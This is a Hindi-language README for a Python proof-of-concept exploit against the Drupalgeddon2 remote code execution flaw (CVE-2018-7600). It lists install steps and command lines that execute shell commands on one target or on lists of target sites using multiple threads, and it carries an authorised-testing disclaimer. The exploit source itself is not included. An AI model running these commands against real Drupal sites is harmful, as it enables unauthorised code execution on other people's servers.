
इस रिपॉजिटरी में CVE-2018-7600 के लिए पूरी तरह से मौलिक और स्व-विकसित प्रूफ-ऑफ-कॉन्सेप्ट (PoC) शामिल है, जिसे Drupalgeddon 2 के नाम से भी जाना जाता है — ड्रुपल 7 और 8 कोर संस्करणों को प्रभावित करने वाली एक गंभीर रिमोट कोड निष्पादन कमजोरी।
यह रिपॉजिटरी Drupal में गंभीर रिमोट कोड निष्पादन भेद्यता, जिसे Drupalgeddon2 (CVE-2018-7600) के नाम से जाना जाता है, के लिए एक Python-आधारित प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट शामिल करता है। यह स्क्रिप्ट शैक्षिक उद्देश्यों और सुरक्षा पेशेवरों द्वारा अधिकृत पेनिट्रेशन टेस्टिंग परिदृश्यों में उपयोग के लिए डिज़ाइन की गई है।
यह उपकरण केवल कानूनी और नैतिक उद्देश्यों के लिए है। मालिक की स्पष्ट अनुमति के बिना किसी भी सिस्टम पर इस स्क्रिप्ट का उपयोग करना अवैध है। इस स्क्रिप्ट के दुरुपयोग या क्षति के लिए लेखक और योगदानकर्ता जिम्मेदार नहीं हैं। अपने जोखिम पर उपयोग करें।
requests लाइब्रेरीcolorama लाइब्रेरीgit clone <repository-url>
cd <repository-directory>
pip install -r requirements.txt
pip install requests colorama
स्क्रिप्ट अपने निष्पादन को अनुकूलित करने के लिए कई कमांड-लाइन तर्क प्रदान करती है।
डिफ़ॉल्ट कमांड (whoami) के साथ एकल लक्ष्य पर हमला करें:
python3 drupalgeddon2.py -t http://example.com
कस्टम कमांड (जैसे, ls -la) के साथ एकल लक्ष्य पर हमला करें:
python3 drupalgeddon2.py -t http://vulnerable-drupal.site -c "ls -la"
फ़ाइल से लक्ष्यों की सूची स्कैन करें:
targets.txt नाम की फ़ाइल बनाएं जिसमें प्रति पंक्ति एक URL हो:
http://site1.com
https://site2.org
http://site3.net
फिर स्क्रिप्ट चलाएं:
python3 drupalgeddon2.py -l targets.txt
कस्टम कमांड और बढ़े हुए थ्रेड्स के साथ सूची स्कैन करें:
python3 drupalgeddon2.py -l targets.txt -c "uname -a" -T 10
आउटपुट को लॉग फ़ाइल में सहेजें:
python3 drupalgeddon2.py -l targets.txt -o scan_results.log
| तर्क | संक्षिप्त | विवरण | डिफ़ॉल्ट |
|---|
--target | -t | एकल लक्ष्य URL। | - |
--list | -l | लक्ष्य URL की सूची वाली फ़ाइल का पथ। | - |
--command | -c | लक्ष्य पर निष्पादित करने के लिए कमांड। | whoami |
--threads | -T | उपयोग करने के लिए समवर्ती थ्रेड्स की संख्या। | 5 |
--output | -o | आउटपुट लॉग करने के लिए फ़ाइल। | - |
--timeout | सेकंड में अनुरोध टाइमआउट। | 15 |